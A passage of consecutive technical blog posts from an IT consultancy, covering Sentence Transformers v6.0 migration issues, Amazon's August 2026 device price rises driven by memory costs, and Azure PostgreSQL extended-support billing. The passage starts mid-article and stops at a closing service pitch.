Normalize moved to sentence_transformers.base.modules. Existing models load fine and silently, but the notes record a one-way door: "a model saved by v6.0 with a Normalize module cannot be loaded by Sentence Transformers older than v6.0." That applies to ordinary dense models, not only the new multi-vector ones, so a v6.0 rollout is harder to reverse than it looks.

Custom module classes now require trust_remote_code=True, including for models in a local directory or from a locally installed package. The migration guide is exact: "Previously, local models were implicitly trusted, and other untrusted references only emitted a FutureWarning." Unmet, it raises a ValueError naming the class. Teams that hardened their model-loading path after the Hugging Face diffusers model-loading CVE will recognise the direction of travel.

The half-precision reranker fix is the quiet headline

Buried under the multi-vector announcement is a scoring correction with a much larger effect on existing pipelines. Measured on cross-encoder/ettin-reranker-32m-v1 in bfloat16 across three NanoBEIR datasets with 100 candidates per query:

Metric	v5.7.0	v6.0.0
NanoBEIR mean NDCG@10	0.1849	0.6795
NanoBEIR mean MRR@10	0.3986	0.6797
Unique scores over 15,040 pairs	270	710
NanoMSMARCO NDCG@10	0.0965	0.7093
bf16 share of fp32 retrieval quality	95.0%	99.0%

The release notes name the cause: with 10,000 realistic cosine scores at mean 0.7 and standard deviation 0.05, float32 keeps 9,983 distinct values where float16 keeps 593 and bfloat16 keeps 93. bfloat16 can represent only 129 distinct values in the whole of [0.5, 1.0). A sigmoid activation in half precision saturates and ties the top candidates together. The notes put it bluntly: "If you run a half precision reranker with the default sigmoid activation, its ranking was essentially randomized before this release."

If you are running a bf16 or fp16 cross-encoder reranker in production today, this is the line item that justifies the upgrade, independently of anything to do with late interaction. Teams choosing between reranker and embedding spend should read it alongside RAG embedding model selection.

CrossEncoder.rank also now returns Python floats rather than numpy.float32 scalars or 0-dimensional tensors. The stated reason is a device synchronization per comparison when sorting, which the notes measure at 212ms for 1,000 CUDA scalars against 0.089ms for Python floats.

The index Sentence Transformers tells you to keep, and cannot live with

Sentence Transformers ships no late-interaction index. The migration guide maps pylate.indexes.PLAID and pylate.retrieve.ColBERT to "no Sentence Transformers equivalent: keep indexing with PyLate (in a separate environment for now, as PyLate pins an older sentence-transformers version)."

PyLate's latest release on PyPI is 1.6.0, uploaded 11 June 2026, more than two months before v6.0.0. Its current README still documents models.ColBERT, losses.Contrastive, utils.KDProcessing and evaluation.ColBERTTripletEvaluator, which are exactly the APIs the migration guide replaces with MultiVectorEncoder, MultiVectorMultipleNegativesRankingLoss, sentence_transformers.util.resolve_ids and MultiVectorTripletEvaluator. So the recommended production index and the recommended encoder are, today, two virtualenvs.

The save direction is one-way as well. The migration guide states: "PyLate checkpoints load into MultiVectorEncoder, but models saved with MultiVectorEncoder.save_pretrained are not loadable by PyLate." Migrate the encoder and you cannot hand the checkpoint back to the indexer that produced your current index.

What the vector databases actually support

The support matrix is less uniform than the announcement suggests, and in two places the vendors' own pages disagree with each other.

Qdrant. Multi-vectors are native, with multivector_config set to MultiVectorComparator.MAX_SIM. But Qdrant's own tutorial recommends turning HNSW off for the multi-vector field: "because multivectors are typically used in the reranking stage (after a first-pass retrieval using dense vectors), there's often no need to index these token-level vectors with HNSW", and the worked example passes hnsw_config=models.HnswConfigDiff(m=0) # Disable HNSW for reranking. Qdrant frames multi-vectors as a rescoring store, not a retrieval index. Plan a dense first stage.

Weaviate. The docs give two different minimums. The multi-vector tutorial's prerequisites say "version v1.29 or newer", while the collection-configuration how-to marks the same feature "Added in v1.30", and the Weaviate 1.31 release post says multi-vector embeddings "went generally available in Weaviate v1.30". MUVERA encoding, which compresses multi-vectors into one, arrived in 1.31 and is opt-in per named vector. Its cost is recall: Weaviate's own release post says "the simplified vector may reduce the quality of the search", and the MUVERA post shows recall recovering to "80%+" only at ef above 512 and "over 90% at 2048", with a throughput penalty at those settings. That post also reports the memory saving as "almost 80%" in the body and "~70%" in its own takeaway box.

Elasticsearch. The Hugging Face post says the Elasticsearch field is "in technical preview and Enterprise-tier". Elastic's own rank vectors mapping reference, marked product version 9.0+, carries neither statement: no preview banner, no licence tier. What it does say is that "the purpose of vectors stored in this field is second order ranking documents with max-sim similarity", that scoring runs through script_score queries with maxSimDotProduct, and that dims "can't exceed 4096". The same page also contradicts itself on element types, listing the supported types as "float (default), byte, and bit" in the parameter description while documenting bfloat16 in the valid-values block directly beneath it. Do not size an Elasticsearch deployment from a third-party summary of Elastic's licensing; check your own subscription.

Milvus. Milvus 2.6.4 was released on 21 October 2025 and its release note describes "Struct in ARRAY", "enabling features like Array of Vector, where each row contains multiple vectors". The MAX_SIM metric type is attributed to that version by a Milvus engineering blog dated 5 December 2025, which shows metric_type="MAX_SIM_COSINE" and metric_type="MAX_SIM_IP" in worked examples. The strings MAX_SIM, ColBERT and late interaction do not appear anywhere in the 2.6.x release notes themselves. Separately, Milvus's page titled "Multi-Vector Hybrid Search" is about searching several vector fields at once, not late interaction, and it caps proxy.maxVectorFieldNum at 10 vector fields per collection. In Milvus 3.0.0, released 29 July 2026, the feature is called StructArray.

The pattern across all four is the same one that shows up whenever a model capability lands before the storage layer settles, and it is the same reason DynamoDB vector search versus pgvector and OpenSearch turns on operational limits rather than recall.

Who should move, and when

Move now if you run a half-precision cross-encoder reranker. The float32 scoring fix is worth the upgrade on its own, and the numbers above are from the vendor's own measurement.

Move now if you already run PyLate or colpali-engine and want one API. Budget for two environments until PyLate ships a release built against 6.x, and remember the save direction is one-way.

Wait if your embedding stack is pinned below transformers v5 or torch 2.2. The v4.x compatibility branches were removed, so there is no partial upgrade. Read the migration guide, not the PyPI page.

Do not move to multi-vector retrieval on benchmark scores alone. One NDCG point on a 13-dataset mean, four losses inside that mean, 42x storage, no bundled index, and a support matrix where two vendors' own pages disagree with themselves is not a config change. It is a retrieval architecture change, and the real cost is usually the index and the migration, not the model swap.

India-specific considerations

For teams in India sizing this on local infrastructure, the storage multiplier lands on RAM and NVMe budgets before it lands on GPU budgets: the exhaustive path keeps every token vector in memory, and the post is explicit that it "scales linearly in total corpus tokens", suiting "a few thousand documents rather than a few million". Where the corpus contains personal data, note that a token-level index materially increases the volume of derived personal data held, which is a factor under the Digital Personal Data Protection Act 2023 when you document storage limitation and deletion. Deleting a source document now means deleting roughly 125 vectors, not one.

FAQ

When was Sentence Transformers 6.0 released?

Version 6.0.0 was published on 18 August 2026 at 13:46:07 UTC according to the GitHub release record, with the source distribution and wheel uploaded to PyPI the same day. The previous release, v5.7.0, was published on 6 August 2026, twelve days earlier. Neither was marked as a prerelease.

How much bigger is a multi-vector index?

On the vendor's own corpus of 4,874 Natural Questions passages, a multi-vector index held 608,414 token vectors at 311.5 MB in float32, against 7.5 MB for a dense MiniLM index of the same passages. That is roughly 42x, or 62 KiB per passage. A fast-plaid index of the same vectors occupies 92 MB.

Is the retrieval quality gain worth the storage?

On the NanoBEIR mean the multi-vector model scored 0.6868 against 0.6764 for a dense model with the same backbone and the same 149M parameters, about one NDCG point. It won 9 of 13 datasets and lost 4, with FiQA2018 the widest loss at 0.5871 against 0.6491. Measure on your own queries first.

What dependency versions does version 6.0 require?

The wheel metadata requires transformers 5.0.0 or later and below 6.0.0, huggingface-hub 1.3.0 or later, torch 2.2 or later, numpy 1.24.0 or later and scikit-learn 1.1.0 or later. Python stays at 3.10 or later. The transformers v4.x compatibility branches were removed entirely in this release.

Why does the PyPI page show different requirements?

The README bundled inside the 6.0.0 artifact, which PyPI renders on the project page, still recommends PyTorch 1.11.0+ and transformers v4.41.0+. The repository main branch has been corrected to PyTorch 2.2+ and transformers v5.0+, but the published package has not been rebuilt, so the landing page understates the real floors.

What breaks silently when upgrading?

Assigning a custom function to model.similarity now silently shadows the method where it previously raised an AttributeError. A bare list of chat message dictionaries is read as one conversation rather than a batch. quantize_embeddings returns a list of matrices rather than a stacked array, and int8 indexes built with v5.x multi-process encoding are not bit-compatible.

Can I still use PyLate for indexing?

Yes, and the migration guide tells you to, because Sentence Transformers ships no late-interaction index. It also says to keep PyLate in a separate environment for now, because PyLate pins an older sentence-transformers version. PyLate's latest PyPI release is 1.6.0 from 11 June 2026, predating version 6.0.0 by two months.

Which vector databases support MaxSim retrieval?

Qdrant supports it natively but its own tutorial recommends disabling HNSW on the multi-vector field and using it for reranking. Weaviate's docs give both v1.29 and v1.30 as the minimum. Elasticsearch scores rank_vectors through script_score with a 4,096-dimension cap. Milvus added array-of-structs support in 2.6.4.

How eCorpIT can help

We size and migrate production retrieval stacks, including the parts that do not appear in a release note: index storage forecasts, dependency-floor audits across build images, and staged rollouts where a scoring change alters ranking behaviour. If you run a half-precision reranker or a pinned transformers 4.x environment, the upgrade path needs measuring before it is scheduled. Book a retrieval architecture review and we will work through your corpus size, latency budget and storage constraints against the numbers above.

References

Last updated: 25 August 2026.

Amazon raised device prices up to 60% on 21 August 2026 as memory costs reached retail

Manu Shukla — Tue, 25 Aug 2026 06:51:17 +0000

Amazon raised device prices up to 60% on 21 August 2026 as memory costs reached retail

Summary. Amazon raised prices across its first-party hardware line overnight on 21 August 2026. The base Echo Dot went from $49.99 to $79.99, a 60% increase. The 16 GB Kindle moved from $109.99 to $149.99, the Fire TV Stick 4K Max from $59.99 to $84.99, and the eero Pro 7 from $699.99 to $799.99. An Amazon spokeswoman confirmed the increases and said the consumer electronics industry is "facing significant increases in memory and storage component costs." Ring products were untouched. This follows Apple in June 2026, which raised Mac prices 15% to 20% and iPad prices 15% to 25%, and Microsoft, which raised Xbox console prices by $100 to $150 effective 1 August 2026.

The pass-through is not the news. TrendForce forecast it in writing seven weeks earlier. What is worth an hour of a product lead's attention is that Microsoft and TrendForce published forecasts eight days apart that appear to point in opposite directions, and that the arithmetic says they agree.

What actually moved, and by how much

Amazon's changes, as reviewed by Fortune on 21 August 2026:

Product	Old price	New price	Increase
Echo Dot	$49.99	$79.99	60.0%
Echo Show 11	$219.99	$249.99	13.6%
Kindle, 16 GB	$109.99	$149.99	36.4%
Kindle Paperwhite, 16 GB	$159.99	$199.99	25.0%
Fire TV Stick HD	$34.99	$39.99	14.3%
Fire TV Stick 4K Max	$59.99	$84.99	41.7%
eero 7	$349.99	$399.99	14.3%
eero Pro 7	$699.99	$799.99	14.3%

The shape of that table is the useful part. The largest increases land on the cheapest devices. A $49.99 Echo Dot carries a fixed quantity of DRAM and flash that has roughly tripled in cost, and there is no margin underneath it to absorb that. The eero Pro 7 at $699.99 has room, so it moves 14.3%. Percentage increase runs inversely to unit price, because memory is a larger share of the bill of materials at the bottom of the range.

That inversion is the thing to carry into your own product planning. If you ship anything with a memory component and a sub-$100 price point, the shortage has already reached you, whether or not you have repriced.

The two forecasts that disagree

On 25 June 2026, Microsoft posted its Xbox console price update. The statement is unusually specific: "console storage and memory prices have increased by more than 2.5x and we expect another doubling by the fall of 2027." Microsoft also noted it had already raised Xbox prices by $20 to $70 in October 2025, that it is sunsetting the 2 TB model, and that consoles are "typically not sold at a profit, but instead for less than they cost to make."

Eight days later, on 3 July 2026, TrendForce published its quarterly memory pricing survey with a headline that reads like the opposite conclusion: AI server demand continues to support memory prices in 3Q26, but gains moderate. Conventional DRAM contract prices were forecast to rise 13% to 18% QoQ in the third quarter, and NAND Flash 10% to 15% QoQ. TrendForce attributed the moderation to consumer buyers hitting a ceiling: "Record-high contract prices mean customers from consumer markets, such as PCs and smartphones, are reaching their affordability limit."

One vendor says a doubling is coming. One analyst says the increases are slowing. Both are right, and the reason is compounding.

The wider vendor sequence, with the reason each company gave:

Vendor	Announced	Effective	Change	Stated cause
Microsoft Xbox	3 October 2025	October 2025	+$20 to $70 per console	Component costs
Apple	June 2026	Immediately	Mac +15% to 20%, iPad +15% to 25%, iPhone unchanged	DRAM and NAND costs
Microsoft Xbox	25 June 2026	1 August 2026	+$100 on 512 GB, +$150 on 1 TB, 2 TB discontinued	Storage and memory up more than 2.5x
Amazon	21 August 2026	Immediately	Up to +60% across Echo, Kindle, Fire TV, eero; Ring unchanged	Memory and storage component costs
Dell, HP, Lenovo, Asus	Through 1H26	Varies	Price rises or reduced memory in products	RAM and storage cost pressure

The arithmetic nobody published

Take TrendForce's own quarterly figures, all from its published surveys.

Quarter	Conventional DRAM contract price change	Cumulative index, 4Q25 = 1.00
1Q26	+93% to +98% QoQ	1.93 to 1.98
2Q26	+58% to +63% QoQ	3.05 to 3.23
3Q26	+13% to +18% QoQ	3.45 to 3.81
Four more quarters at 13%	+13% QoQ	1.63x on top
Four more quarters at 18%	+18% QoQ	1.94x on top

Conventional DRAM contract prices are already somewhere between 3.4 and 3.8 times their fourth-quarter 2025 level after three quarters. That is consistent with Fortune's reporting in June that DRAM and NAND costs "quadrupled over the last year."

Now run the "moderate" rate forward. Four quarters at 13% compounds to 1.63x. Four quarters at 18% compounds to 1.94x. Microsoft's forecast of "another doubling by the fall of 2027" sits at the top of that range, not outside it. The two forecasts differ in tone, not in level. A quarterly increase that has slowed from 98% to 13% still nearly doubles the price in a year.

This is why "prices are moderating" is the most expensive sentence in the current cycle. It is true about the rate and false about the direction of your BOM.

Why the money went to servers first

TrendForce's 1Q26 survey put the mechanism plainly. Industry revenue rose 81% QoQ to $97 billion on conventional DRAM contract price increases of 93% to 98%. Samsung's DRAM revenue rose 93.4% QoQ to $37.32 billion for a 38.5% share, SK hynix rose 62.5% to $27.98 billion, and Micron rose 81.6% to $21.75 billion. Bit output was not the driver. Suppliers were "expected to rely primarily on process migrations to expand bit output in 2026", because new cleanroom construction takes years.

The same pattern shows in NAND. TrendForce's 2Q26 NAND survey, published 18 August 2026, three days before Amazon repriced, put combined revenue of the top five brands up 77% QoQ to $68.87 billion. Micron's NAND revenue rose 99.2% QoQ to $11.85 billion, moving it to third place. SK hynix Group rose 89.5% to more than $14.27 billion. Kioxia rose 79.9% to about $10.72 billion. SanDisk rose 50.7% to nearly $8.97 billion.

That release contains the sentence that predicted the Amazon announcement: "demand from smartphones and PCs is expected to remain weak as higher BOM costs push up device prices." It also explains why the squeeze on consumer parts is structural rather than temporary: "suppliers are generally prioritizing capital expenditure on DRAM and HBM, limiting new NAND Flash capacity."

Andy Jassy, chief executive of Amazon, gave the demand side of the same picture on the company's late-July 2026 investor call. Amazon raised its 2026 capital expenditure expectation to $220 billion from $200 billion, partly on higher memory costs, and Jassy said Amazon still will not "have enough capacity to meet all the demand we have in 2026. And I believe this dynamic will also be true in 2027, too."

Who is affected, and how to tell if that is you

The vendor announcements read as consumer news. Three groups of engineering teams are exposed and mostly have not repriced.

Teams shipping physical product with embedded memory. Kiosks, point-of-sale terminals, IoT gateways, digital signage, medical carts. If your BOM was costed before October 2025, it is wrong by a factor, not a percentage. Re-cost before you quote another unit.

Teams running device fleets for QA. A 40-device Android and iOS test matrix refreshed annually is now a materially larger line. Apple's June increase moved Mac prices 15% to 20% and iPad prices 15% to 25% while leaving iPhone prices unchanged, so the shape of your fleet decides the size of the hit.

Teams choosing between on-device and cloud inference. This is the one that gets missed. On-device models need RAM, RAM is the thing that repriced, and Android's own platform rules now cap what a foreground process may hold based on the device's memory tier. Designing for the 8 GB tier instead of the 12 GB tier is now a pricing decision as much as an engineering one. Our guides to choosing between on-device and cloud AI in mobile apps and to the Android memory limiter and its RAM tier caps both assumed a device price curve that has now shifted underneath them.

Three checks worth running this week. Pull the purchase dates on every BOM you are still quoting from. List the memory and storage line items separately from everything else, because those are the only ones moving. And put a written expiry date on every hardware quote you issue, because a quote with no expiry is a short position on DRAM.

The real cost here is usually the quote you already sent, not the parts you have not bought yet.

India-specific considerations

Indian teams face the same component prices with a weaker absorption buffer, because the hardware-touching work here concentrates in price-sensitive segments: retail POS, logistics handhelds, education tablets and entry-tier Android. Those are exactly the categories where memory is the largest BOM share and where the Echo Dot pattern applies, with the biggest percentage increase landing on the cheapest unit.

TrendForce's 3Q26 survey notes that "smartphone vendors are expected to raise retail prices in the third quarter to offset persistently high LPDRAM costs, though these higher prices are likely to weigh on handset sales", and that mid-range and entry-level procurement remains subdued. For an Indian product team, that means the entry-tier device your app targets is getting more expensive and less common at the same time, which changes the minimum-spec assumption in a product requirements document written even six months ago.

Teams sizing infrastructure rather than devices should read our notes on the server DRAM price rise and the long-term agreement split and on whether to buy servers or rent cloud through the shortage, which cover the same shortage from the data-centre side.

What is still unknown

Nobody outside the suppliers knows when new capacity lands. TrendForce says bit growth in 2026 comes from process migration rather than new wafer starts, which puts meaningful relief past the point where new cleanrooms finish. Estimates for the end of the shortage range from 2027 to 2030, with the chairman of SK hynix at the far end of that range.

It is also unclear whether Amazon's increases hold. The company said it will run promotions across the lineup through the year, and it has a device event coming this autumn. A launch-week discount that restores the old effective price would tell you the $79.99 Echo Dot is a list-price move rather than a cost floor. Watch the promotional price, not the shelf price.

FAQ

How much did Amazon raise its device prices?

Amazon raised first-party hardware prices overnight on 21 August 2026. The base Echo Dot rose 60%, from $49.99 to $79.99. The Fire TV Stick 4K Max rose 41.7% to $84.99, the 16 GB Kindle rose 36.4% to $149.99, and the eero Pro 7 rose 14.3% to $799.99. Ring products were not changed.

Why did Amazon raise hardware prices?

An Amazon spokeswoman confirmed the increases and cited "significant increases in memory and storage component costs" across the consumer electronics industry, saying the company had absorbed those increases for as long as it could. TrendForce data shows conventional DRAM contract prices roughly 3.4 to 3.8 times their fourth-quarter 2025 level.

Are memory prices still rising in late 2026?

Yes, but more slowly. TrendForce forecast conventional DRAM contract prices to rise 13% to 18% quarter on quarter in the third quarter of 2026, down from 93% to 98% in the first quarter. NAND Flash was forecast at 10% to 15%. Slower growth still compounds into large annual increases.

Do Microsoft and TrendForce disagree about memory prices?

Only in tone. Microsoft said on 25 June 2026 that console memory and storage costs had risen more than 2.5x and expected another doubling by autumn 2027. TrendForce's 13% to 18% quarterly rate compounds to 1.63x over four quarters, and 18% compounds to 1.94x, which reaches almost the same level.

Which other vendors have raised prices over memory costs?

Apple raised Mac prices 15% to 20% and iPad prices 15% to 25% in June 2026, leaving iPhone prices unchanged. Microsoft raised Xbox console prices by $100 for 512 GB models and $150 for 1 TB models effective 1 August 2026, its second increase after a $20 to $70 rise in October 2025.

Why did the cheapest Amazon devices rise the most?

Memory and storage are a larger share of the bill of materials on low-priced hardware, and there is less margin underneath to absorb a cost increase. The $49.99 Echo Dot rose 60% while the $699.99 eero Pro 7 rose 14.3%. Percentage increase runs inversely to unit price across Amazon's range.

How does this affect on-device AI decisions?

On-device inference needs RAM, and RAM is the component that repriced. Device tiers that can run larger local models now cost more, and Android caps foreground process memory by device RAM tier. Targeting a lower memory tier is now a pricing decision as well as an engineering one.

When will the memory shortage end?

No one outside the suppliers knows. TrendForce says 2026 bit output growth comes mainly from process migration rather than new wafer capacity, because new cleanrooms take years. Published estimates range from 2027 through 2030, with the chairman of SK hynix at the later end of that range.

How eCorpIT can help

Our engineering teams re-cost hardware-touching bills of materials and rework minimum-spec assumptions when the device curve moves, including the on-device versus cloud inference split that memory pricing now drives. If you are quoting embedded product, refreshing a QA device fleet, or deciding which Android memory tier to target, talk to our product engineering team before the next quote goes out. For the infrastructure side of the same shortage, start with our AI compute capacity crunch planning guide.

References

Last updated: 25 August 2026.

$0.07/vCore-hour: Azure Postgres extended support billing starts 1 September 2026

Manu Shukla — Tue, 25 Aug 2026 06:46:12 +0000

$0.07/vCore-hour: Azure Postgres extended support billing starts 1 September 2026

Summary. Microsoft posted the announcement for Azure Database for PostgreSQL extended support on 24 August 2026. Enrollment had already happened. The service auto-enrolled every flexible server running PostgreSQL 11, 12 or 13 on 1 August 2026, and billing starts on 1 September 2026, eight days after the announcement went up. The meter is live in the Azure retail price catalogue at $0.0700 per vCore-hour in East US and West US 2, rising to $0.1610 in Brazil Southeast, a 130% spread across 56 regions. Central India is $0.0980. At 730 hours a month that is $51.10 per vCore in East US and $71.54 per vCore in Central India, so a 4-vCore server in Pune or Chennai costs roughly $286 a month to keep on an engine the PostgreSQL community retired in November 2025.

The price is not the interesting part. The interesting part is that two Microsoft documents, both updated in July 2026, give different dates for when PostgreSQL 14 starts costing money, and that the upgrade path Microsoft recommends as the way out is blocked by extension rules for a large share of the servers now being charged.

What changed, and when it actually changed

The Azure updates entry is tagged "Announcement" and was created at 19:15 UTC on 24 August 2026. Its text says extended support "helps you maintain secure, supported workloads while transitioning to newer PostgreSQL versions."

The extended support documentation tells a different timeline. Azure standard support for PostgreSQL 11, 12 and 13 ended on 31 July 2026. Auto-enrollment ran on 1 August 2026. A one-month grace period covered August. Billing begins 1 September 2026.

So the announcement arrived 23 days after servers were enrolled and 8 days before the first invoice. If your only signal was the Azure updates feed, you had a week to plan an upgrade that the same documentation describes as needing a validation run, a maintenance window and a non-production rehearsal.

The eligibility table, and the MySQL precedent that ran the same play ten months earlier:

Engine and version	Community retirement	Azure standard support ends	Extended support starts	Extended support ends
PostgreSQL 11	9 November 2023	31 July 2026	1 August 2026	31 March 2027
PostgreSQL 12	14 November 2024	31 July 2026	1 August 2026	13 November 2027
PostgreSQL 13	13 November 2025	31 July 2026	1 August 2026	12 November 2028
PostgreSQL 14	12 November 2026	11 December 2026	12 December 2026	11 November 2029
MySQL 5.7	31 October 2023	31 July 2026	1 August 2026	31 March 2029
MySQL 8.0	30 April 2026	31 December 2026	1 January 2027	31 May 2029

The MySQL row matters because the MySQL extended support meter has been in the retail catalogue since 1 November 2025 at the same $0.07 per vCore-hour. Postgres customers are walking a path MySQL customers finished walking in August. The Azure MySQL version support policy is also more explicit about what gets metered: "Read replicas and HA-enabled servers are billed according to the additional vCores consumed." The PostgreSQL page does not say that. If you run a high-availability pair plus two read replicas, ask your account team to confirm the vCore count in writing before September closes.

The date conflict on PostgreSQL 14

Two Microsoft pages disagree by 29 days.

The version policy page, last updated 10 July 2026, lists the Azure Standard Support End Date for PostgreSQL 14 as 12 November 2026, matching the community retirement date exactly.

The extended support page, last updated 14 July 2026, lists 11 December 2026 for the same field, with extended support starting 12 December 2026.

One of those is wrong, and the gap is a month of unmetered or metered runtime on every PostgreSQL 14 flexible server in the estate. Treat 12 November 2026 as the planning date, because it is the conservative one and it is the date the community controls. Then get the answer in writing from support, because a 4-vCore Central India server sitting in that ambiguity is about $286 either way.

There is a second contradiction in the same set of pages. The version policy page still describes the pre-extended-support world: "When the community retires a PostgreSQL version, Azure Database for PostgreSQL stops applying bug or security patches to the database engine." Extended support exists precisely to sell those patches. The page has not been reconciled with the product it now links to.

A third, smaller one sits inside a single page. The extended support enrollment section offers an "Opt-out option: You can opt out at any time by upgrading to a supported version." Four paragraphs later the FAQ asks whether you can opt out and answers: "No." Both statements describe the same reality, that upgrading is the only exit, but only one of them is honest about it. There is no opt-out. There is an upgrade.

What it costs, by region

The meter is published as "Extended Support vCore" under the product name "Azure Database for PostgSQL Extended Support", spelling included, with an effective start date of 1 March 2026 in the Azure retail prices API. Fifty-six regions carry it.

Region	Per vCore-hour	Per vCore-month (730 h)	Premium over East US
East US, East US 2, Central US, West US 2, West US 3	$0.0700	$51.10	baseline
UK South	$0.0875	$63.88	25%
West India	$0.0966	$70.52	38%
Central India, Southeast Asia	$0.0980	$71.54	40%
West Europe	$0.1001	$73.07	43%
South India	$0.1057	$77.16	51%
Switzerland West	$0.1302	$95.05	86%
Brazil Southeast	$0.1610	$117.53	130%

Two consequences fall out of that table. First, extended support is charged on top of compute and storage, so a legacy server in South India carries a 51% surcharge on the surcharge relative to the same server in Virginia. Second, the meter does not apply to servers in a stopped or failed state; the documentation restricts billing to servers in a "Succeeded (running)" state. Dev and staging copies of a PostgreSQL 12 server that nobody stops at night are the cheapest thing to fix this week.

Against AWS, Azure is cheaper and flatter. These are the current us-east-1 rates from the AWS Price List API, offer version 20260820203529, effective 1 August 2026:

Offer	Year 1 to 2	Year 3	Unit
Azure Database for PostgreSQL extended support (East US)	$0.0700	$0.0700	vCore-hour
Amazon RDS extended support for PostgreSQL	$0.1000	$0.2000	vCPU-hour
Aurora Serverless v2 with PostgreSQL, extended support	$0.0850	$0.1700	ACU-hour
Azure Database for MySQL extended support (East US)	$0.0700	$0.0700	vCore-hour
Amazon RDS extended support, year-3 escalator	n/a	2x year 1	multiplier

Azure sits 30% below RDS in year one and 65% below it in year three, because Azure has published no year-three escalator. That flatness is a real budgeting difference, and it is also a reason the deadline pressure feels softer than it should. We have written before about how the RDS extended support bill lands for MySQL 8.0, and the pattern holds: the fee is small enough to approve and large enough to never stop paying.

The escape hatch is blocked for the servers being billed

Microsoft's stated way to stop the charge is an in-place major version upgrade. The extended support page recommends a target: "Consider upgrading to newer versions such as PostgreSQL 15 or 16."

PostgreSQL 15 leaves Azure standard support on 11 November 2027. Recommending it in August 2026 buys 15 months.

The bigger problem is that the major version upgrade documentation, updated 6 August 2026, blocks several of those paths outright for exactly the version range now being metered.

Extension	Blocked when	Effect on a billed PG 11, 12 or 13 server
orafce	Source version is PostgreSQL 11, 12 or 13	Blocks every in-place path from the three billed versions
pgrouting	Target is 15; or source below 16 with target 16 or later; or target is 18	Rules out 15, 16, 17 and 18, leaving only 14
pg_hint_plan	Target version is PostgreSQL 14	Rules out the one target pgrouting leaves
session_variable, anon, age	All upgrade paths	Must be dropped and re-created around the upgrade
pg_repack, hypopg, pg_partman	All upgrade paths, by design	Non-persistent, drop before and re-create after
TimescaleDB from PostgreSQL 11	Matrix allows PostgreSQL 12 only	The only legal target is itself in extended support

That last row is the one to sit with. A PostgreSQL 11 server running TimescaleDB has exactly one supported in-place target, PostgreSQL 12, and PostgreSQL 12 was enrolled in extended support on the same day at the same price. The upgrade does not stop the bill. It moves the deadline from 31 March 2027 to 13 November 2027 and keeps the meter running the entire time.

A server carrying both pgrouting and pg_hint_plan has no legal in-place target at all. The documented alternative is side-by-side migration with logical replication, which is a project, not a maintenance window.

Three more items from the same page that turn a one-hour change into a two-week one:

Upgrading from PostgreSQL 11 requires SCRAM authentication to be enabled first and every role password reset. That is a coordinated application change, not a database task.

Geo-replicated read replicas, including cascading replicas, must be deleted before the primary upgrades and re-created afterwards. On an HA-enabled server, Azure disables HA, upgrades, then re-enables it, and re-enabling needs spare capacity to provision a new standby.

There is no automated rollback. The documented recovery is a point-in-time restore to a moment before the upgrade, onto a new server.

Who this is and how to check in ten minutes

Run three checks before 1 September.

List every flexible server and its engine version across all subscriptions. Anything on 11, 12 or 13 is already enrolled. Anything on 14 has a date that two Microsoft pages disagree about.

For each of those servers, list installed extensions and compare against the blocked table above. orafce, pgrouting, pg_hint_plan, TimescaleDB and PostGIS are the ones that decide whether this is a maintenance window or a migration project.

Run the upgrade validation checks that the documentation describes. They evaluate readiness without changing the server version, triggering downtime or restarting anything, and they surface unsupported extensions, logical replication slots, prepared transactions and event triggers. They will not run on read replicas, and they need the server in a Ready state with connectivity to every database.

Then stop the non-production servers you do not need overnight. Stopped servers are not billed for extended support.

The real cost here is usually the extension audit, not the upgrade. Teams that budget for pg_upgrade and not for the search_path work around PostGIS, the event-trigger drop and recreate, and the SCRAM password reset are the ones that miss the window twice.

India-specific considerations

Central India at $0.0980 and South India at $0.1057 per vCore-hour sit 40% and 51% above the cheapest US regions for an identical meter. For teams that chose an Indian region for data-residency reasons under the Digital Personal Data Protection Act 2023, that premium is not optional, because moving the workload to East US to save $26 per vCore per month would move personal data out of the country.

The practical response is to shrink the vCore count that carries the surcharge rather than the rate. Consolidating three small PostgreSQL 12 servers onto one correctly sized instance before September cuts the extended support line proportionally, and it is the same work the upgrade needs anyway. Our note on choosing a PostgreSQL 14 upgrade target covers the version selection, and the Azure HorizonDB versus Flexible Server comparison covers the case where the answer is to leave Flexible Server entirely rather than upgrade in place.

What is still unknown

Microsoft has not published which of the two PostgreSQL 14 dates is authoritative. It has not documented, on the PostgreSQL page, whether read replicas and HA standbys are metered separately, though the MySQL page says they are. It has not said what happens to a server that is still on PostgreSQL 11 after 31 March 2027, when its extended support window closes and no further paid option is listed. And the retail catalogue still carries the product name "Azure Database for PostgSQL Extended Support", which is a small thing until you are writing a cost-allocation filter against it.

FAQ

When does Azure start charging for PostgreSQL extended support?

Billing starts on 1 September 2026 for PostgreSQL 11, 12 and 13 flexible servers. Azure standard support for those versions ended 31 July 2026, servers were auto-enrolled on 1 August 2026, and a one-month grace period covered August at no additional charge before the first metered day.

How much does Azure PostgreSQL extended support cost?

The meter is $0.0700 per vCore-hour in East US, East US 2, Central US, West US 2 and West US 3, and $0.1610 in Brazil Southeast, across 56 regions. Central India is $0.0980 and South India is $0.1057. At 730 hours that is $51.10 to $117.53 per vCore per month.

Can I opt out of Azure PostgreSQL extended support?

No. The documentation's FAQ states plainly that servers running unsupported versions are automatically enrolled and cannot opt out. The only way to stop the charge is to upgrade the server to a PostgreSQL version still within Azure standard support, at which point extended support billing ends.

Which PostgreSQL 14 date should I plan against?

Plan against 12 November 2026. The Azure version policy page gives that date for PostgreSQL 14 standard support ending, while the extended support page gives 11 December 2026 with billing from 12 December. Until Microsoft reconciles the two pages, the earlier date is the safer budget assumption.

Does upgrading always stop the extended support charge?

Not always. A PostgreSQL 11 server running TimescaleDB has only one supported in-place target, PostgreSQL 12, and PostgreSQL 12 is itself in extended support at the same rate. The upgrade moves the deadline from 31 March 2027 to 13 November 2027 without stopping the meter.

Which extensions block an in-place major version upgrade?

orafce blocks every path when the source is PostgreSQL 11, 12 or 13. pgrouting blocks targets 15, 16, 17 and 18 from those sources. pg_hint_plan blocks target 14. session_variable, anon and age block all paths, and pg_repack, hypopg and pg_partman must be dropped and re-created.

Are stopped servers billed for extended support?

No. Azure restricts extended support billing to servers in a Succeeded, running state. Servers that are stopped, deleted or in a failed provisioning state are not charged for that period, and billing resumes automatically once the server returns to a running state on an end-of-life engine version.

How does Azure extended support compare with Amazon RDS?

Azure charges a flat $0.0700 per vCore-hour with no year-three escalator. Amazon RDS extended support for PostgreSQL charges $0.10 per vCPU-hour in years one and two and $0.20 in year three in us-east-1, so Azure sits 30% below RDS initially and 65% below it by year three.

How eCorpIT can help

